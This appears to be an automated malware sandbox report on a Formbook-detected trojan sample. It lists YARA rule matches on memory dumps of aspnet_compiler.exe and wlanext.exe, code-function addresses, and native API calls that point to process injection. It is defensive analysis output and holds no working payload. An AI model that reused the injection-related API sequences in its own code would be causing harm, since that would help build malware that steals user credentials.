Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.399924782.0000000000D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: aspnet_compiler.exe PID: 5020, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: wlanext.exe PID: 644, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.571202230.00000000005D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000000.365503115.000000000E427000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.570970656.0000000000160000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.399292071.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.571268092.0000000000600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.399924782.0000000000D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: aspnet_compiler.exe PID: 5020, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: wlanext.exe PID: 644, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 0_2_00AA0971	0_2_00AA0971
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.346.3836.25977.exe	Code function: 0_2_00AA4349	0_2_00AA4349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119F900	1_2_0119F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B4120	1_2_011B4120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251002	1_2_01251002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AB090	1_2_011AB090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012620A8	1_2_012620A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012628EC	1_2_012628EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01262B28	1_2_01262B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CEBB0	1_2_011CEBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125DBD2	1_2_0125DBD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012622AE	1_2_012622AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01262D07	1_2_01262D07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01190D20	1_2_01190D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01261D55	1_2_01261D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2581	1_2_011C2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AD5E0	1_2_011AD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012625DD	1_2_012625DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A841F	1_2_011A841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125D466	1_2_0125D466
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01261FF1	1_2_01261FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B6E30	1_2_011B6E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125D616	1_2_0125D616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01262EF7	1_2_01262EF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004012A4	1_2_004012A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0042019C	1_2_0042019C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_00421421	1_2_00421421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004044C3	1_2_004044C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004044C7	1_2_004044C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0040B512	1_2_0040B512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0040B517	1_2_0040B517
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004046E7	1_2_004046E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0040FF47	1_2_0040FF47
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB28EC	3_2_00CB28EC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFB090	3_2_00BFB090
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C120A0	3_2_00C120A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB20A8	3_2_00CB20A8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA1002	3_2_00CA1002
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CBE824	3_2_00CBE824
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BEF900	3_2_00BEF900
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C04120	3_2_00C04120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB22AE	3_2_00CB22AE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CA03DA	3_2_00CA03DA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CADBD2	3_2_00CADBD2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C1EBB0	3_2_00C1EBB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB2B28	3_2_00CB2B28
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BF841F	3_2_00BF841F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAD466	3_2_00CAD466
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB25DD	3_2_00CB25DD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C12581	3_2_00C12581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BFD5E0	3_2_00BFD5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00BE0D20	3_2_00BE0D20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB1D55	3_2_00CB1D55
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB2D07	3_2_00CB2D07
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB2EF7	3_2_00CB2EF7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CAD616	3_2_00CAD616
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C06E30	3_2_00C06E30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CBDFCE	3_2_00CBDFCE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00CB1FF1	3_2_00CB1FF1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0016E810	3_2_0016E810
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00168950	3_2_00168950
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017EA65	3_2_0017EA65
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_0017FCEA	3_2_0017FCEA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00162D90	3_2_00162D90
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00162D8C	3_2_00162D8C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00169DDB	3_2_00169DDB
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00169DE0	3_2_00169DE0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00162FB0	3_2_00162FB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 0119B150 appears 35 times
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: String function: 00BEB150 appears 35 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	1_2_011D9910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D99A0 NtCreateSection,LdrInitializeThunk,	1_2_011D99A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9840 NtDelayExecution,LdrInitializeThunk,	1_2_011D9840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9860 NtQuerySystemInformation,LdrInitializeThunk,	1_2_011D9860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D98F0 NtReadVirtualMemory,LdrInitializeThunk,	1_2_011D98F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9A00 NtProtectVirtualMemory,LdrInitializeThunk,	1_2_011D9A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9A20 NtResumeThread,LdrInitializeThunk,	1_2_011D9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9A50 NtCreateFile,LdrInitializeThunk,	1_2_011D9A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9540 NtReadFile,LdrInitializeThunk,	1_2_011D9540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D95D0 NtClose,LdrInitializeThunk,	1_2_011D95D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9710 NtQueryInformationToken,LdrInitializeThunk,	1_2_011D9710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9780 NtMapViewOfSection,LdrInitializeThunk,	1_2_011D9780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D97A0 NtUnmapViewOfSection,LdrInitializeThunk,	1_2_011D97A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9FE0 NtCreateMutant,LdrInitializeThunk,	1_2_011D9FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9660 NtAllocateVirtualMemory,LdrInitializeThunk,	1_2_011D9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D96E0 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_011D96E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9950 NtQueueApcThread,	1_2_011D9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D99D0 NtCreateProcessEx,	1_2_011D99D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9820 NtEnumerateKey,	1_2_011D9820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011DB040 NtSuspendThread,	1_2_011DB040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D98A0 NtWriteVirtualMemory,	1_2_011D98A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9B00 NtSetValueKey,	1_2_011D9B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011DA3B0 NtGetContextThread,	1_2_011DA3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9A10 NtQuerySection,	1_2_011D9A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9A80 NtOpenDirectoryObject,	1_2_011D9A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011DAD30 NtSetContextThread,	1_2_011DAD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9520 NtWaitForSingleObject,	1_2_011D9520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9560 NtWriteFile,	1_2_011D9560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D95F0 NtQueryInformationFile,	1_2_011D95F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011DA710 NtOpenProcessToken,	1_2_011DA710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9730 NtQueryVirtualMemory,	1_2_011D9730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011DA770 NtOpenThread,	1_2_011DA770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9770 NtSetInformationFile,	1_2_011D9770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9760 NtOpenProcess,	1_2_011D9760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9610 NtEnumerateValueKey,	1_2_011D9610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9650 NtQueryValueKey,	1_2_011D9650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D9670 NtQueryInformationProcess,	1_2_011D9670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D96D0 NtCreateKey,	1_2_011D96D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0041E057 NtClose,	1_2_0041E057
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0041E107 NtAllocateVirtualMemory,	1_2_0041E107
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004012A4 NtProtectVirtualMemory,	1_2_004012A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0041DF27 NtCreateFile,	1_2_0041DF27
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0041DFD7 NtReadFile,	1_2_0041DFD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0041E101 NtAllocateVirtualMemory,	1_2_0041E101
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_004014E9 NtProtectVirtualMemory,	1_2_004014E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0041DF21 NtCreateFile,	1_2_0041DF21
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29840 NtDelayExecution,LdrInitializeThunk,	3_2_00C29840
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29860 NtQuerySystemInformation,LdrInitializeThunk,	3_2_00C29860
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C299A0 NtCreateSection,LdrInitializeThunk,	3_2_00C299A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29910 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_00C29910
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29A50 NtCreateFile,LdrInitializeThunk,	3_2_00C29A50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C295D0 NtClose,LdrInitializeThunk,	3_2_00C295D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29540 NtReadFile,LdrInitializeThunk,	3_2_00C29540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29560 NtWriteFile,LdrInitializeThunk,	3_2_00C29560
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C296D0 NtCreateKey,LdrInitializeThunk,	3_2_00C296D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C296E0 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_00C296E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29650 NtQueryValueKey,LdrInitializeThunk,	3_2_00C29650
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29660 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_00C29660
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29610 NtEnumerateValueKey,LdrInitializeThunk,	3_2_00C29610
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29FE0 NtCreateMutant,LdrInitializeThunk,	3_2_00C29FE0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29780 NtMapViewOfSection,LdrInitializeThunk,	3_2_00C29780
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29710 NtQueryInformationToken,LdrInitializeThunk,	3_2_00C29710
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C298F0 NtReadVirtualMemory,	3_2_00C298F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C298A0 NtWriteVirtualMemory,	3_2_00C298A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C2B040 NtSuspendThread,	3_2_00C2B040
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29820 NtEnumerateKey,	3_2_00C29820
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C299D0 NtCreateProcessEx,	3_2_00C299D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29950 NtQueueApcThread,	3_2_00C29950
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29A80 NtOpenDirectoryObject,	3_2_00C29A80
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29A00 NtProtectVirtualMemory,	3_2_00C29A00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29A10 NtQuerySection,	3_2_00C29A10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29A20 NtResumeThread,	3_2_00C29A20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C2A3B0 NtGetContextThread,	3_2_00C2A3B0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29B00 NtSetValueKey,	3_2_00C29B00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C295F0 NtQueryInformationFile,	3_2_00C295F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29520 NtWaitForSingleObject,	3_2_00C29520
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C2AD30 NtSetContextThread,	3_2_00C2AD30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 3_2_00C29670 NtQueryInformationProcess,	3_2_00C29670
